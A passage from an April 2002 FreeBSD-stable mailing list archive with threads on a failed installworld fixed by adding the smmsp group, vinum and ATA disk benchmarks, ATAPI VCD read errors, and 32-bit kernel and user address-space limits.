make installkernel to use the new kernel for > > > installworld > > > > (installworld could fail if you dont) > > > > > > Dumping the box into single user wont do the trick? , it has to be a > reboot? > > > (Im doing the update part all over again and i want to do it right this > time > > > ;)) > > > > > > Regards, > > > Dennis > > > > when you installkernel your kernel will be renamed to kernel.old(or > kernel.GENERIC) and the new-kernel is "kernel" then, this will be booted by > default. > > only if you reboot, your new "kernel" will be used. > > a reboot after installkernel is highly recommended. > > see handbook for more details. > > Okai now i followed the howto and did EXACTLY as they said (and rebooted > after installkernel) but during the installworld it stops :( > Then i simply deleted the intere /usr/src and cvsuped it once again, did the > hole thing over - same error > > make installworld > mkdir -p /tmp/install.696 > for prog in [ awk cat chflags chmod chown date echo egrep find grep ln make > makewhatis mtree mv perl rm sed sh sysctl test true uname wc zic; do cp > `which $prog` /tmp/install.696; done > cd /usr/src; MAKEOBJDIRPREFIX=/usr/obj MACHINE_ARCH=i386 MACHINE=i386 > OBJFORMAT_PATH=/usr/obj/usr/src/i386/usr/libexec > PERL5LIB=/usr/obj/usr/src/i386/usr/libdata/perl/5.00503 > GROFF_BIN_PATH=/usr/obj/usr/src/i386/usr/bin > GROFF_FONT_PATH=/usr/obj/usr/src/i386/usr/share/groff_font > GROFF_TMAC_PATH=/usr/obj/usr/src/i386/usr/share/tmac > PATH=/usr/obj/usr/src/i386/usr/sbin:/usr/obj/usr/src/i386/usr/bin:/usr/obj/u > sr/src/i386/usr/games:/tmp/install.696 make -f Makefile.inc1 reinstall > -------------------------------------------------------------- > >>> Making hierarchy > -------------------------------------------------------------- > cd /usr/src; make -f Makefile.inc1 hierarchy > cd /usr/src/etc; make distrib-dirs > set - `grep "^[a-zA-Z]" /usr/src/etc/locale.deprecated`; while [ $# -gt 0 ] > ; do for dir in /usr/share/locale /usr/share/nls /usr/local/share/nls; > do test -d /${dir} && cd /${dir}; test -L "$2" && rm -rf "$2"; test \! -L > "$1" && test -d "$1" && mv "$1" "$2"; done; shift; shift; done > mtree -deU -f /usr/src/etc/mtree/BSD.root.dist -p / > mtree -deU -f /usr/src/etc/mtree/BSD.var.dist -p /var > mtree: line 63: unknown group smmsp > *** Error code 1 > > Stop in /usr/src/etc. > *** Error code 1 > > Stop in /usr/src. > *** Error code 1 > > Stop in /usr/src. > *** Error code 1 > > Stop in /usr/src. > *** Error code 1 > > Stop in /usr/src. > > > Anyone got a hint here? (as i said in now to the update thing but i have > read the handbook from an end so im not completely lost) > > Regards, > Dennis > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message -- Users of C++ should consider hanging themselves rather than shooting their legs off--it's best not to use C++ simply as a better C. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 17: 0:39 2002 Delivered-To: freebsd-stable@freebsd.org Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80]) by hub.freebsd.org (Postfix) with ESMTP id EBF8237B477 for ; Mon, 22 Apr 2002 16:59:29 -0700 (PDT) Received: by wantadilla.lemis.com (Postfix, from userid 1004) id 0FFF281556; Tue, 23 Apr 2002 09:29:28 +0930 (CST) Date: Tue, 23 Apr 2002 09:29:28 +0930 From: Greg 'groggy' Lehey To: Mike Tancsa Cc: stable@freebsd.org Subject: Re: new ata code and vinum Message-ID: <20020423092927.V63965@wantadilla.lemis.com> References: <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 9A1B 8202 BCCE B846 F92F 09AC 22E6 F290 507A 4223 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG [Format recovered--see http://www.lemis.com/email/email-format.html] Computer output wrapped. On Monday, 22 April 2002 at 16:15:38 -0400, Mike Tancsa wrote: > > While putting together a new news server, I did some quick tests on some of > the new ATA hardware. So far so good in tests. It will be interesting to > see how it takes a pounding with 30Mb/s being sent to it 24hrs a day :) > > Using > > PIII, 1G, 1G of RAM > HighPoint RocketRAID 404 (370 chipset), ahc 2940U > > > -------Sequential Output-------- ---Sequential Input-- --Random-- > -Per Char- --Block--- -Rewrite-- -Per Char- --Block--- --Seeks--- > Machine MB K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU K/sec %CPU /sec CPU > ad8 1500 40395 91.5 39973 51.5 14251 18.0 28391 91.5 41257 20.4 192.0 1.1 > da0 1500 17198 40.2 15052 18.0 8030 9.9 15768 50.6 15846 7.4 297.8 1.8 > vinumS 1500 32865 78.5 31383 42.1 10993 15.0 24679 83.5 32473 20.8 505.4 3.4 > ar0 1500 47033 88.2 43172 53.7 16090 21.2 28676 93.5 44640 24.3 296.7 1.9 > vinumI 1500 47819 89.5 43188 58.6 13715 18.9 20767 69.5 32029 19.0 365.6 2.0 bonnie tests mainly the CPU, not the storage. The only test of any interest for the storage system is the random seeks. Use rawio if you want too get some useful figures. Greg -- When replying to this message, please take care not to mutilate the original text. For more information, see http://www.lemis.com/email.html See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 17:43:42 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mail2.ameuro.de (mail2.ameuro.de [62.208.90.8]) by hub.freebsd.org (Postfix) with ESMTP id 6139B37B434 for ; Mon, 22 Apr 2002 17:42:12 -0700 (PDT) Received: from seth.augenstein.net (pD9E4DE2A.dip.t-dialin.net [217.228.222.42]) (authenticated bits=0) by mail2.ameuro.de (8.12.2/8.12.2) with ESMTP id g3N0enL4030522; Tue, 23 Apr 2002 02:40:53 +0200 Received: by seth.augenstein.net (Postfix, from userid 666) id 7223615A; Tue, 23 Apr 2002 02:18:34 +0200 (CEST) Date: Tue, 23 Apr 2002 02:18:33 +0200 From: Norbert Augenstein To: "Dennis Pedersen" Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Message-Id: <20020423021833.4c9f1dae.norbert@augenstein.net> In-Reply-To: <00b701c1ea3d$9d9029e0$0301a8c0@dpws> References: <010401c1e93b$d39b30f0$0301a8c0@dpws> <016701c1e945$a23dd120$0301a8c0@dpws> <20020421091928.A15029@troutmask.apl.washington.edu> <01fa01c1e959$a77af960$0301a8c0@dpws> <20020421110309.A15494@troutmask.apl.washington.edu> <022c01c1e961$1aa07f30$0301a8c0@dpws> <20020421113325.A15744@troutmask.apl.washington.edu> <024b01c1e966$66638a20$0301a8c0@dpws> <20020421124250.A16130@troutmask.apl.washington.edu> <20020421222621.7f88138f.norbert@augenstein.net> <027801c1e973$a69184f0$0301a8c0@dpws> <20020421231544.1a890289.norbert@augenstein.net> <00b701c1ea3d$9d9029e0$0301a8c0@dpws> X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; i386-portbld-freebsd5.0) X-Copyright: (c) Norbert Augenstein -> Forwarding NOT permitted without prior permission! Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hallo Dennis, there has been some trouble about this in the last few weeks, as this is related to sendmail. you "have to" set up following: in /etc/group smmsp:*:25: mailnull:*:26: and in /etc/passwd smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/sbin/nologin mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/sbin/nologin i dont know why do you not have these entries, as this was incorporateed last december to stable. try again with these. if installworld works and you have sendmail related problems feel free to ask again as already mentioned, to set up sendmail "changed" a little bit. auge On Mon, 22 Apr 2002 22:38:09 +0200 "Dennis Pedersen" wrote: > > ----- Original Message ----- > From: "Norbert Augenstein" > To: "Dennis Pedersen" > Sent: Sunday, April 21, 2002 11:15 PM > Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting > from rc.conf > > > > On Sun, 21 Apr 2002 22:32:24 +0200 > > "Dennis Pedersen" wrote: > > > > > > > > ----- Original Message ----- > > > From: "Norbert Augenstein" > > > To: "Steve Kargl" > > > Cc: ; > > > Sent: Sunday, April 21, 2002 10:26 PM > > > Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept > setting > > > from rc.conf > > > > > > > > > > On Sun, 21 Apr 2002 12:42:50 -0700 > > > > Steve Kargl wrote: > > > > > > > > > On Sun, Apr 21, 2002 at 08:57:33PM +0200, Dennis Pedersen wrote: > > > > > > > > > > > > > > > > > > After running the cmd above the ldonfig -r shows the entry. > > > > > > What best thing to do now? , migrate back to STABLE (and avoid any > > > other > > > > > > strange problems) or try to fix the current install? (it still > wont > > > accept > > > > > > the ifconfig statements in rc.conf) > > > > > > > > > > > > > > > > cvsup should now work. I would go back to FreeBSD-stable. > > > > > Do this by changing to tag=RELENG_4. From the above, I > > > > > take it you have to manually run ifconfig to get your > > > > > machine on the net. Once connect, get update your tree > > > > > and do the standard sequence of > > > > > > > > > > make buildworld > > > > > make buildkernel KERNCONF=MYKERNEL > > > > > make installkernel > > > > > make installworld > > > > > mergemaster > > > > > reboot > > > > > > > > > > And, yes I know some people recommend a reboot to > > > > > single user mode. > > > > > > > > and a reboot after make installkernel to use the new kernel for > > > installworld > > > > (installworld could fail if you dont) > > > > > > Dumping the box into single user wont do the trick? , it has to be a > reboot? > > > (Im doing the update part all over again and i want to do it right this > time > > > ;)) > > > > > > Regards, > > > Dennis > > > > when you installkernel your kernel will be renamed to kernel.old(or > kernel.GENERIC) and the new-kernel is "kernel" then, this will be booted by > default. > > only if you reboot, your new "kernel" will be used. > > a reboot after installkernel is highly recommended. > > see handbook for more details. > > Okai now i followed the howto and did EXACTLY as they said (and rebooted > after installkernel) but during the installworld it stops :( > Then i simply deleted the intere /usr/src and cvsuped it once again, did the > hole thing over - same error > > make installworld > mkdir -p /tmp/install.696 > for prog in [ awk cat chflags chmod chown date echo egrep find grep ln make > makewhatis mtree mv perl rm sed sh sysctl test true uname wc zic; do cp > `which $prog` /tmp/install.696; done > cd /usr/src; MAKEOBJDIRPREFIX=/usr/obj MACHINE_ARCH=i386 MACHINE=i386 > OBJFORMAT_PATH=/usr/obj/usr/src/i386/usr/libexec > PERL5LIB=/usr/obj/usr/src/i386/usr/libdata/perl/5.00503 > GROFF_BIN_PATH=/usr/obj/usr/src/i386/usr/bin > GROFF_FONT_PATH=/usr/obj/usr/src/i386/usr/share/groff_font > GROFF_TMAC_PATH=/usr/obj/usr/src/i386/usr/share/tmac > PATH=/usr/obj/usr/src/i386/usr/sbin:/usr/obj/usr/src/i386/usr/bin:/usr/obj/u > sr/src/i386/usr/games:/tmp/install.696 make -f Makefile.inc1 reinstall > -------------------------------------------------------------- > >>> Making hierarchy > -------------------------------------------------------------- > cd /usr/src; make -f Makefile.inc1 hierarchy > cd /usr/src/etc; make distrib-dirs > set - `grep "^[a-zA-Z]" /usr/src/etc/locale.deprecated`; while [ $# -gt 0 ] > ; do for dir in /usr/share/locale /usr/share/nls /usr/local/share/nls; > do test -d /${dir} && cd /${dir}; test -L "$2" && rm -rf "$2"; test \! -L > "$1" && test -d "$1" && mv "$1" "$2"; done; shift; shift; done > mtree -deU -f /usr/src/etc/mtree/BSD.root.dist -p / > mtree -deU -f /usr/src/etc/mtree/BSD.var.dist -p /var > mtree: line 63: unknown group smmsp > *** Error code 1 > > Stop in /usr/src/etc. > *** Error code 1 > > Stop in /usr/src. > *** Error code 1 > > Stop in /usr/src. > *** Error code 1 > > Stop in /usr/src. > *** Error code 1 > > Stop in /usr/src. > > > Anyone got a hint here? (as i said in now to the update thing but i have > read the handbook from an end so im not completely lost) > > Regards, > Dennis To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 18: 6:28 2002 Delivered-To: freebsd-stable@freebsd.org Received: from vinyl2.sentex.ca (vinyl2.sentex.ca [199.212.134.13]) by hub.freebsd.org (Postfix) with ESMTP id F0BB037B405; Mon, 22 Apr 2002 18:06:19 -0700 (PDT) Received: from house.sentex.net (cage.simianscience.com [64.7.134.1]) (authenticated bits=0) by vinyl2.sentex.ca (8.12.3/8.12.2) with ESMTP id g3N168dd052740 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO); Mon, 22 Apr 2002 21:06:11 -0400 (EDT) (envelope-from mike@sentex.net) Message-Id: <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> X-Sender: mdtancsa@192.168.0.12 X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Mon, 22 Apr 2002 21:06:08 -0400 To: "Greg 'groggy' Lehey" From: Mike Tancsa Subject: Re: new ata code and vinum Cc: stable@FreeBSD.ORG In-Reply-To: <20020423092927.V63965@wantadilla.lemis.com> References: <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 09:29 AM 4/23/2002 +0930, Greg 'groggy' Lehey wrote: >[Format recovered--see http://www.lemis.com/email/email-format.html] > >bonnie tests mainly the CPU, not the storage. The only test of any >interest for the storage system is the random seeks. Use rawio if you >want too get some useful figures. Here you go! vinum0 is the SCSI pair, vinum1 the 2 seagate IDEs. Random read Sequential read Random write Sequential write ID K/sec /sec K/sec /sec K/sec /sec K/sec /sec vinum0 3953.4 244 5219.1 319 4646.6 289 5430.8 331 Random read Sequential read Random write Sequential write ID K/sec /sec K/sec /sec K/sec /sec K/sec /sec vinum1 2038.6 126 17370.4 1060 2985.2 185 44608.7 2723 Random read Sequential read Random write Sequential write ID K/sec /sec K/sec /sec K/sec /sec K/sec /sec ar0s1e 1802.0 112 11960.7 730 2628.6 165 29238.0 1785 Random read Sequential read Random write Sequential write ID K/sec /sec K/sec /sec K/sec /sec K/sec /sec da0s1e 2550.5 157 2772.6 169 2424.4 150 2802.9 171 Random read Sequential read Random write Sequential write ID K/sec /sec K/sec /sec K/sec /sec K/sec /sec ad10s1e 1248.6 77 2242.6 137 1645.7 102 7207.9 440 I was going to use the pair of SCSIs for the news database... The other drives for the articles. ---Mike -------------------------------------------------------------------- Mike Tancsa, tel +1 519 651 3400 Sentex Communications, mike@sentex.net Providing Internet since 1994 www.sentex.net Cambridge, Ontario Canada www.sentex.net/mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 18:19:57 2002 Delivered-To: freebsd-stable@freebsd.org Received: from hermes.pressenter.com (hermes.pressenter.com [209.224.20.19]) by hub.freebsd.org (Postfix) with ESMTP id 4FE5F37B428; Mon, 22 Apr 2002 18:19:54 -0700 (PDT) Received: from [209.224.22.27] (helo=daggar.sbgnet.net) by hermes.pressenter.com with smtp (Exim 3.16 #1) id 16zoww-0008Cs-00; Mon, 22 Apr 2002 20:18:31 -0500 Date: Mon, 22 Apr 2002 20:18:29 -0500 From: Stephen Hilton To: freebsd-stable@freebsd.org Cc: matt.anderson@aecinc.com, dvd@dtek.chalmers.se, lioux@freebsd.org, marcus@marcuscom.com Subject: Re: DVD ogle problem on STABLE, DMA related ? (SOLVED) Message-Id: <20020422201829.3e78cc22.nospam@hiltonbsd.com> In-Reply-To: <20020416124424.590f30e6.nospam@hiltonbsd.com> References: <20020416124424.590f30e6.nospam@hiltonbsd.com> Organization: HiltonBSD.com X-Mailer: Sylpheed version 0.7.5 (GTK+ 1.2.10; i386-portbld-freebsd4.5) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 16 Apr 2002 12:44:24 -0500 Stephen Hilton wrote: > Greetings, > > Having trouble getting Ogle to work on 4.5-STABLE cvsup'd on: > 04-15-2002 10:01:43 CDT > > #uname -a > FreeBSD xxxxxxx.xxxxx.xxx 4.5-STABLE FreeBSD 4.5-STABLE #0: Mon Apr 15 11:20:18 CDT 2002 root@xxxxxxx.xxxxx.xxx:/usr/obj/usr/src/sys/KERN_USB i386 > Problem solved by cvsuping again on 04-22-2002 09:59:52 CDT then running a "# portupgrade -aivru" These ports were upgraded and reinstalled: ===> Installing for png-1.2.2 ===> Installing for libxml2-2.4.20 ===> Installing for liba52-0.7.3 ===> Installing for gdk-pixbuf-0.17.0 ===> Installing for sylpheed-0.7.5 ===> Installing for gnomecanvas-0.17.0 ===> Installing for oaf-0.6.10 ===> Installing for gaim-gnome-0.56 ===> Installing for gnomemedia-1.2.3_1 ===> Installing for sdl-1.2.4 ===> Installing for libdvdcss-1.1.0 ===> Installing for libdvdread-0.9.2_2 ===> Installing for ogle-0.8.2_1 Ogle 0.8.2_1 is now building and running fine for me on FreeBSD 4.5-STABLE from 04-22-2002. Thanks to all for updating of ports :-) Regards, Stephen Hilton nospam@hiltonbsd.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 18:25:17 2002 Delivered-To: freebsd-stable@freebsd.org Received: from bilver.wjv.com (spdsl-033.wanlogistics.net [63.209.115.33]) by hub.freebsd.org (Postfix) with ESMTP id DA97737B41F for ; Mon, 22 Apr 2002 18:25:08 -0700 (PDT) Received: (from bv@localhost) by bilver.wjv.com (8.11.6/8.11.6) id g3N0hYH92805 for stable@FreeBSD.ORG; Mon, 22 Apr 2002 20:43:34 -0400 (EDT) (envelope-from bv) Date: Mon, 22 Apr 2002 20:43:34 -0400 From: Bill Vermillion To: stable@FreeBSD.ORG Subject: Re: Upgrade from 4,5 Stable->4,5 Release ... Message-ID: <20020423004334.GB92473@wjv.com> Reply-To: bv@wjv.com References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.25i Organization: W.J.Vermillion / Orlando - Winter Park Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Date: Mon, 22 Apr 2002 22:38:09 +0200 > From: "Dennis Pedersen" > Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf [lucretia deletia] .... > Okai now i followed the howto and did EXACTLY as they said (and > rebooted after installkernel) but during the installworld it > stops :( > Then i simply deleted the intere /usr/src and cvsuped it once > again, did the hole thing over - same error .... > mtree -deU -f /usr/src/etc/mtree/BSD.var.dist -p /var > mtree: line 63: unknown group smmsp > *** Error code 1 > > Stop in /usr/src/etc. > *** Error code 1 > Anyone got a hint here? (as i said in now to the update thing but i have > read the handbook from an end so im not completely lost) Sure - read the UPDATING in /usr/src. You should ALWAY read UPDATING before doing anything else. As smmsp with GID of 25 to /etc/group. -- Bill Vermillion - bv @ wjv . com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 18:59:25 2002 Delivered-To: freebsd-stable@freebsd.org Received: from boromir.vpop.net (dns1.vpop.net [206.117.147.2]) by hub.freebsd.org (Postfix) with ESMTP id 5FDBF37B417 for ; Mon, 22 Apr 2002 18:59:19 -0700 (PDT) Received: from vpop.net (bilbo.vpop.net [65.103.33.41]) by boromir.vpop.net (8.11.6/8.11.6) with ESMTP id g3N1xDF84297; Mon, 22 Apr 2002 18:59:14 -0700 (PDT) (envelope-from mreimer@vpop.net) Message-ID: <3CC4C02E.2090003@vpop.net> Date: Mon, 22 Apr 2002 21:00:14 -0500 From: Matthew Reimer Organization: VPOP Technologies, Inc. User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.9) Gecko/20020316 X-Accept-Language: en-us, en MIME-Version: 1.0 To: David Wolfskill Cc: stable@freebsd.org Subject: Re: ATAPI CD on -stable can't read VCD References: <200204230003.g3N03tWZ036104@bunrab.catwhisker.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG David Wolfskill wrote: >>Date: Mon, 22 Apr 2002 18:13:50 -0500 >>From: Matthew Reimer > >>I'm not able to read a VCD with FreeBSD-stable. Attempting to mount the >>CD causes this error: > >>Apr 22 17:57:37 bilbo /kernel: acd0: READ_BIG - ILLEGAL REQUEST asc=0x64 >>ascq=0x00 error=0x00 > > OK; that would be an ATAPI device, right? Yes. >>Xine figures out how many tracks there are, but attempting to play any >>of them fails with "read error 22" (EINVAL). > >>I'm using the VCD image at >>http://www.vcdimager.org/pub/vcdimager/examples/test_svcd/ for testing. > >>I think this is a regression, because a couple of months ago I could >>play VCD's just fine. > > >>Can anyone help? I'm willing to help debug/test/instrument. > > > What does > > atacontrol list > > report? More to the point, what about > > atacontrol mode N > [where "N" is generally either "0" or "1", and corresponds to the ATA > controller where acd0 is]? > > Reason I ask is that I had a similar problem with a DVD when I was using > PIO4; switching to UDMA made the problem go away. I think I'm already in UDMA mode (UDMA2 to be precise): bilbo:/usr/home/mreimer# atacontrol list ATA channel 0: Master: ad0 ATA/ATAPI rev 6 Slave: ad1 ATA/ATAPI rev 4 ATA channel 1: Master: ad2 ATA/ATAPI rev 2 Slave: acd0 ATA/ATAPI rev 4 bilbo:/usr/home/mreimer# atacontrol cap 1 1 ATA channel 1, Slave, device acd0: ATA/ATAPI revision 4 device model Pioneer DVD-ROM ATAPIModel DVD-114 0125 firmware revision E1.25 cylinders 0 heads 0 sectors/track 0 lba supported lba48 not supported dma supported overlap not supported Feature Support Enable Value Vendor write cache no no read ahead no no dma queued no no 0/00 SMART no no microcode download no no security no no power management yes yes advanced power management no no 0/00 automatic acoustic management no no 0/00 0/00 bilbo:/usr/home/mreimer# dmesg: ata1-slave: piomode=4 dmamode=2 udmamode=2 dmaflag=1 ata1-slave: success setting UDMA2 on Intel chip acd0: DVD-ROM drive at ata1 as slave acd0: 512KB buffer, UDMA33 acd0: Reads: CD-R, CD-RW, CD-DA stream, DVD-ROM, DVD-R acd0: Writes: acd0: Audio: play, 256 volume levels acd0: Mechanism: ejectable tray, unlocked acd0: Medium: CD-ROM 120mm data disc acd0: READ_BIG - ILLEGAL REQUEST asc=0x64 ascq=0x00 error=0x00 Thanks for your help. Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 19:15:42 2002 Delivered-To: freebsd-stable@freebsd.org Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by hub.freebsd.org (Postfix) with ESMTP id 0A13E37B400; Mon, 22 Apr 2002 19:15:30 -0700 (PDT) Received: from pool0527.cvx21-bradley.dialup.earthlink.net ([209.179.194.17] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 16zpq0-0005D8-00; Mon, 22 Apr 2002 19:15:24 -0700 Message-ID: <3CC4C3A0.B1279BFC@mindspring.com> Date: Mon, 22 Apr 2002 19:14:56 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: David Schultz Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <20020421191440.J1721-100000@mail1.hub.org> <3CC3D494.649C2A8E@mindspring.com> <20020422060952.B31888@HAL9000.wox.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG David Schultz wrote: > Thus spake Terry Lambert : > > If you want more, then you need to use a 64 bit processor (or use a > > processor that supports bank selection, and hack up FreeBSD to do > > bank swapping on 2G at a time, just like Linux has been hacked up, > > and expect that it won't be very useful). > > I'm guessing that this just means looking at more than 4 GB of memory > by working with 2 GB frames at a time. As I recall, David Greenman > said that this hack would essentially require a rewrite of the VM > system. Does this just boil down to using 36 bit physical addresses? > Are there plans for FreeBSD to support it, or is everyone just waiting > until 64 bit processors become more common? David Greenman is right.Nevertheless, Peter was planning on doing the hack, according to his postings to -current. Please check the list archives for these things. > Does FreeBSD use 4M pages exclusively for kernel memory, as in > Solaris, or is there a more complicated scheme? FreeBSD starts out using 4K pages for the premapped memory, and switches over to a 4M page scheme for the initially loaded kernel, for at least the first 4M. The PTEs that were for the 4K pages that are replaced with the 4M mappings are simply lost in the reload of CR3, and never recovered for the system to use (the pages containing the PTEs there are "leaked", but it's usually one page, so 4K is not that bad a leak). For much of the FreeBSD kernel, 4K pages are used. I'm pretty sure Solaris also used 4K pages for swappable memory in the kernel, as well: 4M pages don't make much sense, since you could, for example, exhaust KVA space with 250 kernel modules (250 X (1 data + 1 code) * 4M = 2G). > > If you increase the KVA, then you will decrease the UVA available to > > user processes. The total of the two can not exceed 4G. > > In Linux, all of physical memory is mapped into the kernel's virtual > address space, and hence, until recently Linux was limited to ~3 GB of > physical memory. FreeBSD, as I understand, doesn't do that. So is > the cause of this limitation that the top half of the kernel has to > share a virtual address space with user processes? No. You need to look at the "copyin" implementation in both OSs to find the answer. The way it works is by mapping the address space of the process in question and the kernel at the same time, and copying bytes between them. These are really basic questions about memory layout, which you should already know the answer to, if you are mucking about in the KVA size or other parts of the kernel. I don't know where the Linux limitation comes from; it's really hard for me to believe "~3G", since it's not an even power of 2, so I don't really credit this limitation. > I'll have to read those books one of these days when I have time(6). > Thanks for the info. No problem; I think you will have to, if you are planning on mucking about with more than 4G of physical memory. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 19:27:54 2002 Delivered-To: freebsd-stable@freebsd.org Received: from hawk.mail.pas.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by hub.freebsd.org (Postfix) with ESMTP id A8ED037B41A; Mon, 22 Apr 2002 19:27:44 -0700 (PDT) Received: from pool0527.cvx21-bradley.dialup.earthlink.net ([209.179.194.17] helo=mindspring.com) by hawk.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 16zq1v-0005Q3-00; Mon, 22 Apr 2002 19:27:43 -0700 Message-ID: <3CC4C683.F9AEF14E@mindspring.com> Date: Mon, 22 Apr 2002 19:27:15 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Marc G. Fournier" Cc: freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <20020422104250.E1721-100000@mail1.hub.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Marc G. Fournier" wrote: > First, alot of this stuff is slowly sinking in ... after repeatedly > reading it and waiting for the headache to disapate:) > > But, one thing that I'm still not clear on ... > > If I have 4Gig of RAM in a server, does it make any sense to have swap > space on that server also? Yes. But it (mostly) does not apply to KVA, only to UVA data, and there are much larger KVA requirements, so the more RAM you have, the bigger the bottleneck to user space for anything you swap. > Again, from what I'm reading, I have a total of 4Gig *aggregate* to > work with, between RAM and swap, but its right here that I'm confused > right now ... basically, the closer to 4Gig of RAM you get, the closer > to 0 of swap you can have? No. I think you are getting confused on cardinality. You get one KVA, but you get an arbitrary number of UVA's, until you run out of physical RAM to make new ones. You have 4G aggregate KVA + UVA. So if your KVA is 3G, and your UVA is 1G, then you can have 1 3G KVA, and 1000 1G UVA's. Certain aspects of KVA are non-swappable. Some parts of UVA are swappable in theory, but never swapped in practice (the page tables and descriptors for each user process). The closer to 4G you have, the more physical RAM you have to spend on managing the physical RAM. The total amount of physical RAM you have to spend on managing memory is based on the total physical RAM plus the total swap. As soon as that number exceeds ~2.5G, you can't do it on a 32 bit processor any more, unless you hack FreeBSD to swap the VM housekeeping data it uses for swapping UVA contents. Think of physical RAM as a resource. It's seperate from the KVA and UVA, but the KVA has to have physical references to do paged memory management. You are limited by how many of these you can have in physical RAM, total. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 20:38:27 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mail.ntplx.net (mail7.ntplx.net [204.213.176.181]) by hub.freebsd.org (Postfix) with ESMTP id 